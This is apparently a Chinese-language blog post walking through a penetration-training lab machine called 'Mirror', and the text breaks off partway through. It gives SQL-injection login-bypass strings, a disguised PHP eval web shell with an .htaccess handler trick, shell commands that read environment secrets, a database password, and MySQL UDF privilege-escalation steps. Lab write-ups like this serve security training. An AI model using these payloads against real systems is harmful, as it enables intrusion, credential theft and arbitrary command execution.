{"id":737,"date":"2026-03-27T17:54:30","date_gmt":"2026-03-27T09:54:30","guid":{"rendered":"https:\/\/myblog.marsrains.top\/?p=737"},"modified":"2026-04-03T14:54:46","modified_gmt":"2026-04-03T06:54:46","slug":"%e7%bb%bc%e5%90%88%e6%b8%97%e9%80%8f%e8%ae%ad%e7%bb%83-b-mirror","status":"publish","type":"post","link":"https:\/\/myblog.marsrains.top\/?p=737","title":{"rendered":"\u7efc\u5408\u6e17\u900f\u8bad\u7ec3\u2014\u2014B-mirror"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u6982\u8981<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u9776\u673a\u540d\u79f0<\/strong>\uff1a\u955c\uff08Mirror\uff09<\/li>\n\n\n\n<li><strong>\u76ee\u6807\u7f51\u5740<\/strong>\uff1a172.16.11.51<\/li>\n\n\n\n<li><strong>\u6d89\u53ca\u64cd\u4f5c<\/strong>\uff1aSQL\u6ce8\u5165+\u6587\u4ef6\u4e0a\u4f20\u8fc7\u6ee4\u673a\u5236+Apache\u5206\u5e03\u5f0f\u914d\u7f6e\u6587\u4ef6+\u6570\u636e\u5e93\u63d0\u6743+UDF\u6269\u5c55+\u5bb9\u5668\u9003\u9038<\/li>\n<\/ul>\n\n\n\n<p><strong>\u6838\u5fc3\u8003\u5bdf\u70b9\uff1a<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Web \u5c42\u6f0f\u6d1e\uff08SQL\u6ce8\u5165\u4e3a\u4e3b\uff09\u2192 \u62ff\u7ba1\u7406\u5458\u5bc6\u7801\uff08flag1\uff09 <\/li>\n\n\n\n<li>\u540e\u53f0\u5229\u7528 + \u6587\u4ef6\u4e0a\u4f20 + \u914d\u7f6e\u5ba1\u8ba1 + \u6570\u636e\u5e93\u63d0\u6743 \u2192 \u547d\u4ee4\u6267\u884c\uff08flag2\uff09 <\/li>\n\n\n\n<li>\u5bb9\u5668\u9003\u9038\uff08Docker Socket \/ Docker API \u5229\u7528\uff09\u2192 \u5bbf\u4e3b\u673a flag3<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e00\u3001\u4fe1\u606f\u6536\u96c6<\/h2>\n\n\n\n<p>\u5148\u641c\u96c6\u57fa\u672c\u4fe1\u606f\uff0c\u67e5\u770b\u7f51\u9875<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<pre class=\"wp-block-code\"><code>curl -I http:\/\/172.16.11.228\/\n\nHTTP\/1.1 200 OK\nDate: Thu, 26 Mar 2026 08:14:33 GMT\nServer: Apache\/2.4.54 (Debian)\nX-Powered-By: PHP\/7.4.33\nSet-Cookie: PHPSESSID=bca04db302905a10dcc5451131f460e1; path=\/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: text\/html; charset=UTF-8<\/code><\/pre>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"889\" height=\"1012\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-742\"  sizes=\"auto, (max-width: 889px) 100vw, 889px\" \/><\/div><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"889\" height=\"1012\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-746\"  sizes=\"auto, (max-width: 889px) 100vw, 889px\" \/><\/div><\/figure>\n<\/div>\n<\/div>\n\n\n\n<p><strong>\u53ef\u6c47\u603b\u4e3a<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Web Server<\/strong>: Apache\/2.4.54 (Debian) <\/li>\n\n\n\n<li><strong>PHP \u7248\u672c<\/strong>: 7.4.33\uff08\u8f83\u8001\u7248\u672c\uff0c\u5b58\u5728\u8f83\u591a\u5df2\u77e5\u95ee\u9898\uff09 <strong>Session<\/strong>: \u6807\u51c6 PHPSESSID <\/li>\n\n\n\n<li><strong>\u7cfb\u7edf\u73af\u5883<\/strong>: Debian + PHP 7.4\uff0c\u6781\u5927\u6982\u7387\u8fd0\u884c\u5728 <\/li>\n\n\n\n<li><strong>Docker \u5bb9\u5668<\/strong> \u4e2d\uff08\u7b2c\u4e09\u9898\u63d0\u793a\u975e\u5e38\u660e\u786e\u6307\u5411 Docker API \u9003\u9038\uff09<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e8c\u3001\u6f0f\u6d1e\u5229\u7528\u548c\u5206\u6790<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">SQL\u6ce8\u5165<\/h3>\n\n\n\n<p>\u5728\u767b\u5f55\u9875\u9762\u5c1d\u8bd5SQL\u6ce8\u5165\uff0c\u7ed5\u8fc7\u524d\u7aef\u9a8c\u8bc1\uff0c\u8fdb\u5165\u540e\u53f0<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<pre class=\"wp-block-code\"><code>admin\u201d or \u201c1\u201d=\u201d1\nadmin\u201d or 1=1 --\nadmin\u201d or \u201c1\u201d=\u201d1\u2033--\nadmin\u2019 or \u20181\u2019=\u20191\u2032--\nadmin\u2019 or \u20181\u2019=\u20191\u2032 #\nadmin\u2019 or 1=1 -- \u2013 \uff08\n\u2018 or \u20181\u2019=\u20191\u2032 --\nadmin\u2019 or \u20181\u2019=\u20191\u2032 \/*\n\u2018) or (\u20181\u2019=\u20191\n1\u2032 or \u20181\u2019=\u20191\u2032 --\nadmin\u2019\/**\/or\/**\/1=1 --\nadmin\u2019 or 1=1\u2013 \uff08\u53bb\u6389\u7a7a\u683c\u8bd5\u8bd5\uff09\naDmIn\u2019 Or \u20181\u2019=\u20191\nadmin\u2019 or 2>1 --\nadmin\u201d or 1=1 or \u201c\u201d=\u201d\nadmin\u2019) or (\u20181\u2019=\u20191\u2019) --\n0\u2032 or 1=1 --\nadmin' || '1'='1<\/code><\/pre>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-40-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-40-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-747\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5982\u56fe\u6240\u793a\uff0c<code>admin' || '1'='1<\/code>\u53ef\u4ee5\u7ed5\u8fdb\u540e\u53f0<\/p>\n<\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u6587\u4ef6\u4e0a\u4f20<\/h3>\n\n\n\n<p>\u6765\u5230\u540e\u53f0\u754c\u9762\uff0c\u53d1\u73b0\u6709\u4e0a\u4f20\u6587\u4ef6\u7684\u529f\u80fd\u3002\u5148\u9a8c\u8bc1\u662f\u5426\u80fd\u591f\u6b63\u5e38\u4e0a\u4f20<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-42-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-42-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-749\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9a8c\u8bc1\u5b8c\u6210\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u5404\u79cdphp\u6587\u4ef6\uff0c\u53d1\u73b0\u5931\u8d25\u3002\u5229\u7528burpsuite\u4fee\u6539\u4e3a.php5\u3001.phtml\u7b49php\u7c7b\u578b\u540e\u7f00\uff0c\u5168\u90fd\u5931\u6548\uff0c\u63a8\u6d4b\u524d\u7aef\u505a\u4e86\u5f3a\u8fc7\u6ee4\u65b9\u5f0f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-43-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-43-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-750\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f4\u63a5\u5728burpsuite\u5c06.php\u6539\u4e3a.jpg\uff0c\u540c\u65f6\u8fd8\u9700\u8981.htaccess\u6587\u4ef6\u8f85\u52a9\uff0c\u907f\u514d\u65e0\u6cd5\u8c03\u7528\u6728\u9a6c<\/p>\n\n\n\n<div class=\"wp-block-argon-collapse collapse-block shadow-sm collapsed hide-border-left\" style=\"border-left-color:#ffffff00\"><div class=\"collapse-block-title\" style=\"background-color:#ffffff00\"><span class=\"collapse-block-title-inner\">\u4e3a\u4ec0\u4e48\u8981.htaccess\u6587\u4ef6\u6765\u8f85\u52a9<\/span><i class=\"collapse-icon fa fa-angle-down\"><\/i><\/div><div class=\"collapse-block-body\" style=\"display: none\">.htaccess\u76f4\u63a5\u4f5c\u7528\u5728Apache\u670d\u52a1\u5668\uff0c\u5728.htaccess\u4e0a\u4f20\u5230Apache\u76ee\u5f55\u7ea7\u914d\u7f6e\u6587\u4ef6\u4e0b\u540e\uff0c\u4e0d\u9700\u8981\u91cd\u542f\u5373\u53ef\u7acb\u5373\u751f\u6548\uff0c\u800c\u5199\u7684\u5185\u5bb9\u662f\u5c06\u4e0a\u4f20\u540e\u7684shell.jpg\u4f5c\u4e3aphp\u6587\u4ef6\u4f5c\u7528\u5728\u670d\u52a1\u5668\u4e0a\u3002\u5982\u679c\u76f4\u63a5\u4e0a\u4f20\u540e\u76f4\u63a5\u8c03\u7528shell.jpg\uff0c\u53ea\u80fd\u8f93\u51fa\u6587\u5b57<code>\u201cGIF98a\u201d<\/code><\/div><\/div>\n\n\n\n<pre class=\"wp-block-code\"><code>#shell.php\nGIF89a;\n&lt;?php\n@eval($_POST&#91;'cmd']);\n?>\n\n------------------------------\u5206\u9694--------------------------------------\n\n#.htaccess      \/\/\u6ce8\u610f\u907f\u514d\u76f4\u63a5\u5c06\u8be5\u6587\u4ef6\u547d\u540d\u4e3a.htaccess\uff0c\u4f1a\u88abkali\u81ea\u52a8\u9690\u85cf\nAddType appliaction\/x-httpd-php .jpg\nAddType appliaction\/x-httpd-php .gif\nAddHandler php7-script .jpg\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-45-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-45-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-752\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p>\u5c06\u4e24\u4e2a\u6587\u4ef6\u4e0a\u4f20\u540e\uff0c\u56de\u5230\u653b\u51fb\u673akali\uff0c\u9a8c\u8bc1\u662f\u5426\u8d77\u6548<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-44-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-44-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-751\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n<\/div>\n<\/div>\n\n\n\n<h4 class=\"wp-block-heading\">flag1<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X POST http:\/\/172.16.11.51\/uploads\/shell.jpg -d \"cmd=system('ls -al \/');\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-46.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"753\" height=\"442\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-46.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-753\"  sizes=\"auto, (max-width: 753px) 100vw, 753px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u91cd\u70b9\u6587\u4ef6\uff1a<code>.dockerenv<\/code>\uff0c\u8bf4\u660e\u5305\u542benv\u76f8\u5173\u7684\u654f\u611f\u91cd\u8981\u4fe1\u606f\uff0c\u5c1d\u8bd5\u8bfb\u53d6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> curl -X POST http:\/\/172.16.11.51\/uploads\/shell.jpg -d \"cmd=system('env');\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-47.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"967\" height=\"478\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-47.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-754\"  sizes=\"auto, (max-width: 967px) 100vw, 967px\" \/><\/div><\/figure>\n\n\n\n<p>\u83b7\u53d6\u5230\u6570\u636e\u5e93\u8d26\u5bc6\uff0c\u8fdc\u7a0b\u8fde\u63a5\u5c1d\u8bd5<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<pre class=\"wp-block-code\"><code> mysql -h 172.16.11.51 -u root -pKp7mXz2wRn9sLqDf --skip-ssl<\/code><\/pre>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-48.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"673\" height=\"193\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-48.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-755\"  sizes=\"auto, (max-width: 673px) 100vw, 673px\" \/><\/div><\/figure>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<pre class=\"wp-block-code\"><code>#\u76f4\u63a5\u5728\u6570\u636e\u5e93\u5185\u90e8\u67e5\u8be2\u6570\u636e\nshow databases;\nuse mirror_shop;\nshow tables;\nselect * from users;<\/code><\/pre>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-49.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"820\" height=\"738\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-49.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-756\"  sizes=\"auto, (max-width: 820px) 100vw, 820px\" \/><\/div><\/figure>\n<\/div>\n<\/div>\n\n\n\n<p>\u76f4\u63a5\u83b7\u53d6flag1<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}<\/code><\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">UDF\u6295\u9012<\/h3>\n\n\n\n<p>\u68c0\u67e5\u5f53\u524dMySQL\u6743\u9650\uff0c\u786e\u8ba4\u662f\u5426\u53ef\u4ee5\u76f4\u63a5\u7be1\u6539\u63d2\u4ef6\u6587\u4ef6\u76ee\u5f55<\/p>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<pre class=\"wp-block-code\"><code>select @@secure_file_priv;<\/code><\/pre>\n\n\n\n<p>\u8fd4\u56de\u4e3a\u7a7a\uff0c\u8bc1\u660e\u6743\u9650\u8fc7\u9ad8\uff0c\u53ef\u4ee5\u7be1\u6539\u63d2\u4ef6\u6587\u4ef6\u76ee\u5f55<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-50.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"466\" height=\"157\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-50.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-757\"  sizes=\"auto, (max-width: 466px) 100vw, 466px\" \/><\/div><\/figure>\n<\/div>\n<\/div>\n\n\n\n<p>\u7f16\u5199UDF\uff0c\u5199\u5165\u63d2\u4ef6\u76ee\u5f55\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u89e3\u5bc6\u6587\u4ef6\npython3 \/usr\/share\/sqlmap\/extra\/cloak\/cloak.py -d \\\n-i \/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/64\/lib_mysqludf_sys.so_ \\\n-o \/tmp\/lib_mysqludf_sys_64.so\n \n#\u8f6c\u6362\u5341\u516d\u8fdb\u5236\nxxd -p \/tmp\/lib_mysqludf_sys_64.so | tr -d '\\n' > \/tmp\/udf64_hex.txt<\/code><\/pre>\n\n\n\n<p>\u5c06UDF\u6295\u5165\u6570\u636e\u5e93\u63d2\u4ef6\u76ee\u5f55\u4e0b\uff0c\u521b\u5efa\u65b0\u51fd\u6570sys_eval\uff0c\u65b9\u4fbf\u5feb\u901f\u8fd4\u56de\u7ed3\u679c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#\u5728\u6570\u636e\u5e93\u91cc\u9762\u64cd\u4f5c\nSELECT UNHEX('$UDF_HEX') INTO DUMPFILE '\/usr\/lib64\/mysql\/plugin\/lib_mysqludf_sys_64.so';\nCREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-52-1024x34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"34\" data-original=\"https:\/\/myblog.marsrains.top\/wp-content\/uploads\/2026\/03\/image-52-1024x34.png\" 